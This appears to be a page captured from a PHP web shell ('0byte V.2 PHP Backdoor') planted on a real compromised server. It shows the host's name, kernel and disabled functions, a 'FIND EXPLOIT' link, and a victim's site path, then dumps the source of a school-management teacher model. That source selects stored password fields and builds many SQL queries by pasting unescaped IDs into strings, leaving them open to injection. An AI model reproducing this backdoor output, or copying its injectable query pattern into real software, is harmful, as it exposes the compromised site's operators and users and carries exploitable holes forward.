0byte V.2
PHP Backdoor

Linux 116-202-49-93.cprapid.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64 [ FIND EXPLOIT ]
[ MySQL: OFF ][ Curl: OFF ][ Wget: OFF ][ Perl: OFF ][ Compiler: OFF ]

Disable Function: exec,passthru,shell_exec,system

/home/vhtecindia/public_html/application/models/

current_session = $this->setting_model->getCurrentSession(); $this->current_date = $this->setting_model->getDateYmd(); } public function get($id = null) { $this->db->select()->from('teachers'); if ($id != null) { $this->db->where('id', $id); } else { $this->db->order_by('id'); } $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function getTeacher($id = null) { $this->db->select('teachers.*,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`'); $this->db->from('teachers'); $this->db->join('users', 'users.user_id = teachers.id', 'left'); $this->db->where('users.role', 'teacher'); $query = $this->db->get(); if ($id != null) { return $query->row_array(); } else { return $query->result_array(); } } public function getTeacherByEmail($email = null) { $this->db->select('teachers.*,users.id as `user_tbl_id`,users.username,users.password as `user_tbl_password`,users.is_active as `user_tbl_active`'); $this->db->from('teachers'); $this->db->join('users', 'users.user_id = teachers.id', 'left'); $this->db->where('users.role', 'teacher'); $this->db->where('teachers.email', $email); $query = $this->db->get(); if ($email != null) { return $query->row(); } else { return false; } } public function getLibraryTeacher() { $this->db->select('staff.*, IFNULL(libarary_members.id,0) as `libarary_member_id`, IFNULL(libarary_members.library_card_no,0) as `library_card_no`')->from('staff'); $this->db->join('libarary_members', 'libarary_members.member_id = staff.id and libarary_members.member_type = "teacher"', 'left'); $this->db->where('staff.is_active', 1); $this->db->order_by('staff.id'); $query = $this->db->get(); return $query->result_array(); } public function remove($id) { $this->db->where('id', $id); $this->db->delete('teachers'); } public function add($data) { if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('teachers', $data); } else { $this->db->insert('teachers', $data); return $this->db->insert_id(); } } public function getTotalTeacher() { $sql = "SELECT count(*) as `total_teacher` FROM `teachers`"; $query = $this->db->query($sql); return $query->row(); } public function searchNameLike($searchterm) { $this->db->select('teachers.*')->from('teachers'); $this->db->group_start(); $this->db->like('teachers.name', $searchterm); $this->db->group_end(); $this->db->order_by('teachers.id'); $query = $this->db->get(); return $query->result_array(); } public function rating($data) { if (isset($data['id'])) { $this->db->where('id', $data['id']); $this->db->update('staff_rating', $data); } else { $this->db->insert('staff_rating', $data); return $this->db->insert_id(); } } public function my_classes($staff_id) { $class_id = array(); $query = $this->db->query("select ct.class_id from class_teacher ct where ct.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "' "); $data = $query->result_array(); foreach ($data as $key => $value) { $class_id[] = $value['class_id']; } return $class_id; } public function get_classbysubject_group_id($subject_group_id) { $query = $this->db->query("select st.class_id from subject_timetable st where st.subject_group_id='" . $subject_group_id . "' and session_id='" . $this->current_session . "' group by st.class_id"); return $query = $query->result_array(); } public function get_subjectby_staffid($staff_id) { $query = $this->db->query("select GROUP_CONCAT(st.subject_group_subject_id) as subject from subject_timetable st where st.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "' group by staff_id "); return $query = $query->row_array(); } public function get_examsubjects($staff_id) { $query = $this->db->query("select sgs.subject_id from subject_timetable st inner join subject_group_subjects sgs on st.subject_group_subject_id=sgs.id where st.staff_id='" . $staff_id . "' and st.session_id='" . $this->current_session . "' "); $querydata = $query->result_array(); foreach ($querydata as $key => $value) { $subject_id[] = $value['subject_id']; } return $subject_id; } public function get_subjectby_classid($class_id, $section_id, $staff_id) { $query = $this->db->query("select GROUP_CONCAT(st.subject_group_subject_id) as subject from subject_timetable st where st.staff_id='" . $staff_id . "' and class_id='" . $class_id . "' and section_id='" . $section_id . "' and st.session_id='" . $this->current_session . "' group by staff_id "); return $query = $query->row_array(); } public function get_teacherrestricted_mode($staff_id) { $ides1 = ""; $ides = ""; $class_ides = ""; $ides11 = array(); $query = $this->db->query("select CONCAT_WS(',',GROUP_CONCAT(st.class_id)) as c from subject_timetable st where st.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "' group by st.staff_id"); $query = $query->result_array(); // echo $this->db->last_query();die; $query1 = $this->db->query("select CONCAT_WS(',',GROUP_CONCAT(ct.class_id)) as c from class_teacher ct where ct.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "' group by ct.staff_id"); $query1 = $query1->result_array(); // echo $this->db->last_query();die; if (!empty($query1) && !empty($query)) { $class_ides = $query1[0]['c'] . "," . $query[0]['c']; } elseif (!empty($query)) { $class_ides = $query[0]['c']; } elseif (!empty($query1)) { $class_ides = $query1[0]['c']; } if (!empty($class_ides)) { $ides = explode(',', $class_ides); foreach ($ides as $key => $value) { if ($value != '') { $ides11[] = $value; } } $ides1 = implode(',', $ides11); } if (!empty($ides1)) { $class_ides = $ides1; $classlist = $this->db->query("select * from classes where id in(" . $class_ides . ")"); $data = $classlist->result_array(); } else { $data = array(); } return $data; } public function get_daywiseattendanceclass($staff_id) { $query1 = $this->db->query("select CONCAT_WS(',',GROUP_CONCAT(ct.class_id)) as c from class_teacher ct where ct.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "' group by ct.staff_id"); $query1 = $query1->result_array(); $class_ides = ''; if (!empty($query1)) { $class_ides = $query1[0]['c']; } $ides11 = array(); $ides1 = ''; if (!empty($class_ides)) { $ides = explode(',', $class_ides); foreach ($ides as $key => $value) { if ($value != '') { $ides11[] = $value; } } $ides1 = implode(',', $ides11); } if (!empty($ides1)) { $class_ides = $ides1; $classlist = $this->db->query("select * from classes where id in(" . $class_ides . ")"); $data = $classlist->result_array(); } else { $data = array(); } return $data; } public function get_teacherrestricted_modesections($staff_id, $classid) { $ides1 = array(); $ides = array(); $section_ides = ''; $ides11 = array(); $query1 = $this->db->query("select GROUP_CONCAT(st.section_id) as s from subject_timetable st where (st.staff_id='" . $staff_id . "' and st.class_id='" . $classid . "') and session_id='" . $this->current_session . "' "); $section_id1 = $query1->result_array(); $query2 = $this->db->query("select GROUP_CONCAT(st.section_id) as s from class_teacher st where (st.staff_id='" . $staff_id . "' and st.class_id='" . $classid . "' and session_id='" . $this->current_session . "')"); $section_id2 = $query2->result_array(); if (!empty($section_id1) && !empty($section_id2)) { $section_ides = $section_id1[0]['s'] . "," . $section_id2[0]['s']; } elseif (!empty($section_id1)) { $section_ides = $section_id1[0]['s']; } elseif (!empty($section_id2)) { $section_ides = $section_id2[0]['s']; } if (!empty($section_ides)) { $ides = explode(',', $section_ides); foreach ($ides as $key => $value) { if ($value != '') { $ides11[] = $value; } } if (!empty($ides11)) { $ides1 = implode(',', $ides11); } } if (isset($_GET['day_wise']) && !empty($_GET['day_wise'])) { if (!empty($section_id2)) { $section_ides = $section_id2[0]['s']; } $ides11 = array(); $ides = explode(',', $section_ides); foreach ($ides as $key => $value) { if ($value != '') { $ides11[] = $value; } } if (!empty($ides11)) { $ides1 = implode(',', $ides11); } } if (!empty($ides1)) { $section = $this->db->query("select class_sections.id,class_sections.section_id as section_id,sections.section from class_sections join sections on class_sections.section_id=sections.id where sections.id in(" . $ides1 . ") and class_id=" . $classid . ""); $data = $section->result_array(); } else { $data = array(); } return $data; } public function get_teacherrestricted_modeallsections($staff_id) { $query1 = $this->db->query("select GROUP_CONCAT(st.section_id) as s from subject_timetable st where (st.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "')"); $section_id1 = $query1->result_array(); $query2 = $this->db->query("select GROUP_CONCAT(st.section_id) as s from class_teacher st where (st.staff_id='" . $staff_id . "' and session_id='" . $this->current_session . "')"); $section_id2 = $query2->result_array(); if (!empty($section_id1) && !empty($section_id2)) { $section_ides = $section_id1[0]['s'] . "," . $section_id2[0]['s']; } elseif (!empty($section_id1)) { $section_ides = $section_id1[0]['s']; } elseif (!empty($section_id2)) { $section_ides = $section_id2[0]['s']; } $ides = explode(',', $section_ides); foreach ($ides as $key => $value) { if ($value != '') { $ides11[] = $value; } } $ides1 = implode(',', $ides11); if (!empty($ides1)) { $section_ides = $ides1; $sectionlist = $this->db->query("select id as section_id,section from sections where id in(" . $section_ides . ")"); $data = $sectionlist->result_array(); } else { $data = array(); } return $data; } }

0byte V.2PHP Backdoor

0byte V.2
PHP Backdoor